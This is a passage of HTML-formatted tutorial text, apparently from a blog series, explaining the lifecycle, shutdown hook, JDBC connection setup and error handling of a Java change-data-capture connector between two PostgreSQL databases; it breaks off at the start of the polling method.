    &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"\nShutdown requested..."&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The connector registers a JVM shutdown hook to handle graceful termination.&lt;/p&gt;

&lt;p&gt;A shutdown hook is a thread that the JVM starts when it begins shutting down.&lt;/p&gt;

&lt;p&gt;For example, when the user presses &lt;code&gt;Ctrl+C&lt;/code&gt; in the terminal, the shutdown hook sets:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Because the &lt;code&gt;running&lt;/code&gt; variable is declared &lt;code&gt;volatile&lt;/code&gt;, the polling thread can observe this change.&lt;/p&gt;

&lt;p&gt;The connector then exits its execution loop and terminates.&lt;/p&gt;

&lt;h4&gt;
  
  
  4. Starting the Connector
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Starting CDC Connector..."&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"CDC batch size: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="no"&gt;BATCH_SIZE&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These statements display startup information in the console.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Starting CDC Connector...
CDC batch size: 3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This provides basic visibility into the connector's startup and configured batch size.&lt;/p&gt;

&lt;h4&gt;
  
  
  5. Managing the Connector Lifecycle
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;running&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Database connections and CDC polling&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The connector runs inside a continuous loop as long as &lt;code&gt;running&lt;/code&gt; remains &lt;code&gt;true&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Inside this loop, it establishes connections to the source and destination databases and invokes &lt;code&gt;runContinuousPolling()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The connections are created inside a Java try-with-resources statement:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;
    &lt;span class="nc"&gt;Connection&lt;/span&gt; &lt;span class="n"&gt;sourceConnection&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
            &lt;span class="nc"&gt;DriverManager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getConnection&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                    &lt;span class="no"&gt;SOURCE_URL&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="no"&gt;DB_USER&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="no"&gt;DB_PASSWORD&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="nc"&gt;Connection&lt;/span&gt; &lt;span class="n"&gt;destinationConnection&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
            &lt;span class="nc"&gt;DriverManager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getConnection&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                    &lt;span class="no"&gt;DESTINATION_URL&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="no"&gt;DB_USER&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="no"&gt;DB_PASSWORD&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// CDC processing&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Try-with-resources automatically closes both database connections when execution leaves the block, including when an exception occurs.&lt;/p&gt;

&lt;p&gt;We will examine database connection establishment in more detail in Section 5.3.&lt;/p&gt;

&lt;h4&gt;
  
  
  6. Handling Database Connection Failures
&lt;/h4&gt;

&lt;p&gt;The &lt;code&gt;main()&lt;/code&gt; method catches database exceptions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;SQLException&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="n"&gt;running&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="n"&gt;isConnectionFailure&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;err&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                &lt;span class="s"&gt;"Non-connection database error. Stopping connector:"&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printStackTrace&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;err&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
            &lt;span class="s"&gt;"Database connection lost. Reconnecting in "&lt;/span&gt;
                    &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="no"&gt;RECONNECT_DELAY_MS&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;" ms..."&lt;/span&gt;
    &lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;Thread&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sleep&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="no"&gt;RECONNECT_DELAY_MS&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;InterruptedException&lt;/span&gt; &lt;span class="n"&gt;interrupted&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;Thread&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;currentThread&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;interrupt&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The connector distinguishes between connection failures and other database errors.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Connection failure:&lt;/strong&gt; The connector waits for the configured reconnection delay and then attempts to establish new database connections.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Other database error:&lt;/strong&gt; The connector logs the exception and stops execution rather than repeatedly retrying an error that may require intervention.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The method &lt;code&gt;isConnectionFailure()&lt;/code&gt; determines whether a database exception represents a connection-related problem. We will examine its implementation in Section 8, Error Handling and Recovery.&lt;/p&gt;

&lt;h4&gt;
  
  
  7. Handling Other Exceptions
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;err&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"CDC Connector failed:"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printStackTrace&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Any other exception that is not handled by the preceding &lt;code&gt;SQLException&lt;/code&gt; catch block is logged, and the connector stops.&lt;/p&gt;

&lt;p&gt;This prevents the application from continuing in an unexpected state after an unhandled error.&lt;/p&gt;

&lt;h4&gt;
  
  
  8. Connector Shutdown
&lt;/h4&gt;

&lt;p&gt;After the execution loop terminates, the following statement is executed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"CDC Connector stopped."&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This provides a final console message indicating that the connector has stopped.&lt;/p&gt;

&lt;h3&gt;
  
  
  Summary
&lt;/h3&gt;

&lt;p&gt;In this subsection, we examined how the Java CDC connector starts and manages its execution lifecycle.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Validates the database password and numerical configuration parameters.&lt;/li&gt;
&lt;li&gt;Registers a JVM shutdown hook for graceful termination.&lt;/li&gt;
&lt;li&gt;Starts the connector inside a continuous execution loop.&lt;/li&gt;
&lt;li&gt;Establishes connections to both PostgreSQL databases.&lt;/li&gt;
&lt;li&gt;Invokes the continuous polling method.&lt;/li&gt;
&lt;li&gt;Handles connection failures by waiting before attempting reconnection.&lt;/li&gt;
&lt;li&gt;Stops execution when it encounters non-connection database errors or other unhandled exceptions.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In the next subsection, we will examine how the connector establishes JDBC connections to the source and destination PostgreSQL databases.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.3 Establishing Database Connections
&lt;/h3&gt;

&lt;p&gt;The CDC connector needs to communicate with two PostgreSQL databases:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Source database (&lt;code&gt;cdc_source&lt;/code&gt;):&lt;/strong&gt; Used to read CDC events from the &lt;code&gt;cdc_events&lt;/code&gt; table.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Destination database (&lt;code&gt;cdc_destination&lt;/code&gt;):&lt;/strong&gt; Used to apply employee changes and maintain the CDC checkpoint.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Java Database Connectivity (JDBC) provides the mechanism for establishing and managing these database connections.&lt;/p&gt;

&lt;h4&gt;
  
  
  Establishing JDBC Connections
&lt;/h4&gt;

&lt;p&gt;Our implementation uses the JDBC &lt;code&gt;DriverManager.getConnection()&lt;/code&gt; method to establish connections to both databases.&lt;/p&gt;

&lt;p&gt;The relevant code from the &lt;code&gt;main()&lt;/code&gt; method is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;
    &lt;span class="nc"&gt;Connection&lt;/span&gt; &lt;span class="n"&gt;sourceConnection&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
            &lt;span class="nc"&gt;DriverManager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getConnection&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                    &lt;span class="no"&gt;SOURCE_URL&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="no"&gt;DB_USER&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="no"&gt;DB_PASSWORD&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="nc"&gt;Connection&lt;/span&gt; &lt;span class="n"&gt;destinationConnection&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
            &lt;span class="nc"&gt;DriverManager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getConnection&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                    &lt;span class="no"&gt;DESTINATION_URL&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="no"&gt;DB_USER&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="no"&gt;DB_PASSWORD&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
            &lt;span class="s"&gt;"Connected to source database: "&lt;/span&gt;
                    &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;sourceConnection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getCatalog&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
    &lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
            &lt;span class="s"&gt;"Connected to destination database: "&lt;/span&gt;
                    &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;destinationConnection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getCatalog&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
    &lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;runContinuousPolling&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
            &lt;span class="n"&gt;sourceConnection&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;destinationConnection&lt;/span&gt;
    &lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's understand the important parts.&lt;/p&gt;

&lt;h4&gt;
  
  
  1. Connecting to the Source Database
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;Connection&lt;/span&gt; &lt;span class="n"&gt;sourceConnection&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
        &lt;span class="nc"&gt;DriverManager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getConnection&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                &lt;span class="no"&gt;SOURCE_URL&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="no"&gt;DB_USER&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="no"&gt;DB_PASSWORD&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This statement establishes a JDBC connection to the source PostgreSQL database.&lt;/p&gt;

&lt;p&gt;The connection parameters are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;SOURCE_URL&lt;/code&gt; – JDBC URL of the &lt;code&gt;cdc_source&lt;/code&gt; database.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;DB_USER&lt;/code&gt; – PostgreSQL username.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;DB_PASSWORD&lt;/code&gt; – Database password obtained from the environment variable.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once the connection is established, the connector can execute SQL queries against the source database to retrieve CDC events.&lt;/p&gt;

&lt;h4&gt;
  
  
  2. Connecting to the Destination Database
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;Connection&lt;/span&gt; &lt;span class="n"&gt;destinationConnection&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
        &lt;span class="nc"&gt;DriverManager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getConnection&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                &lt;span class="no"&gt;DESTINATION_URL&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="no"&gt;DB_USER&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="no"&gt;DB_PASSWORD&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Similarly, this statement establishes a separate JDBC connection to the destination PostgreSQL database.&lt;/p&gt;

&lt;p&gt;The connector uses this connection to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Insert new employee records.&lt;/li&gt;
&lt;li&gt;Update existing employee records.&lt;/li&gt;
&lt;li&gt;Delete employee records.&lt;/li&gt;
&lt;li&gt;Read and update the CDC checkpoint.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Keeping separate connections allows the connector to independently interact with both databases.&lt;/p&gt;

&lt;h4&gt;
  
  
  3. Verifying Database Connections
&lt;/h4&gt;

&lt;p&gt;After establishing both connections, the connector displays the connected database names:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
        &lt;span class="s"&gt;"Connected to source database: "&lt;/span&gt;
                &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;sourceConnection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getCatalog&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
        &lt;span class="s"&gt;"Connected to destination database: "&lt;/span&gt;
                &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;destinationConnection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getCatalog&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The JDBC &lt;code&gt;Connection.getCatalog()&lt;/code&gt; method returns the catalog associated with the connection. For PostgreSQL, this corresponds to the connected database name.&lt;/p&gt;

&lt;p&gt;For our implementation, the expected output is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Connected to source database: cdc_source
Connected to destination database: cdc_destination
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This provides a simple way to confirm which databases the connector has connected to.&lt;/p&gt;

&lt;h4&gt;
  
  
  4. Managing Connection Resources
&lt;/h4&gt;

&lt;p&gt;Notice that both connections are created inside a Java try-with-resources statement.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;
    &lt;span class="nc"&gt;Connection&lt;/span&gt; &lt;span class="n"&gt;sourceConnection&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;...;&lt;/span&gt;
    &lt;span class="nc"&gt;Connection&lt;/span&gt; &lt;span class="n"&gt;destinationConnection&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// CDC processing&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Try-with-resources automatically closes resources when execution leaves the try block.&lt;/p&gt;

&lt;p&gt;This is important because database connections consume resources on both the Java application and PostgreSQL server.&lt;/p&gt;

&lt;p&gt;If an exception occurs during processing, the connections are still closed automatically when the try-with-resources block exits.&lt;/p&gt;

&lt;p&gt;If establishing the second connection fails after the first connection has been successfully opened, Java also closes the first connection.&lt;/p&gt;

&lt;h4&gt;
  
  
  5. Passing Connections to the Polling Method
&lt;/h4&gt;

&lt;p&gt;After both connections are established, the connector invokes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="n"&gt;runContinuousPolling&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;sourceConnection&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;destinationConnection&lt;/span&gt;
&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both JDBC connections are passed to the polling method.&lt;/p&gt;

&lt;p&gt;The source connection is used to retrieve CDC events, while the destination connection is used to apply the corresponding changes and manage checkpoints.&lt;/p&gt;

&lt;p&gt;We will examine the continuous polling mechanism in the next subsection.&lt;/p&gt;

&lt;h3&gt;
  
  
  Summary
&lt;/h3&gt;

&lt;p&gt;In this subsection, we examined how the Java CDC connector establishes database connections.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Uses JDBC &lt;code&gt;DriverManager.getConnection()&lt;/code&gt; to connect to PostgreSQL.&lt;/li&gt;
&lt;li&gt;Establishes separate connections to the source and destination databases.&lt;/li&gt;
&lt;li&gt;Uses the configured database URLs and credentials.&lt;/li&gt;
&lt;li&gt;Verifies the connected database names using &lt;code&gt;getCatalog()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Uses try-with-resources to ensure database connections are closed when the connection session ends.&lt;/li&gt;
&lt;li&gt;Passes both connections to the continuous polling method.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The connector is now connected to both databases and ready to begin processing CDC events.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.4 Implementing Continuous CDC Polling
&lt;/h3&gt;

&lt;p&gt;Once the connector establishes connections to both PostgreSQL databases, it starts continuously polling the source database for new CDC events.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;runContinuousPolling()&lt;/code&gt; method is responsible for managing this polling process.&lt;/p&gt;

&lt;p&gt;It performs the following operations:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Reads the last processed event ID from the destination checkpoint table.&lt;/li&gt;
&lt;li&gt;Starts the continuous polling loop.&lt;/li&gt;
&lt;li&gt;Invokes the event-processing method to retrieve and process available CDC events.&lt;/li&gt;
&lt;li&gt;Waits for the configured polling interval before checking again.&lt;/li&gt;
&lt;li&gt;Stops polling when a shutdown is requested or the thread is interrupted.&lt;/li&gt;
&lt;/ol&gt;

&lt;h4&gt;
  
  
  Understanding the runContinuousPolling() Method
&lt;/h4&gt;

&lt;p&gt;The implementation is shown below:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;runContinuousPolling&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
        &lt;span class="nc"&gt;Connection&lt;/span&gt; &lt;span class="n"&gt;sourceConnection&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
        &lt;span class="nc"&gt;Connection&lt;/span&gt; &lt;span class="n"&gt;destinationConnection&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;lastProcessedEventId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
            &lt;span class="n"&gt;getLastProcessedEventId&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;destinationConnection&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

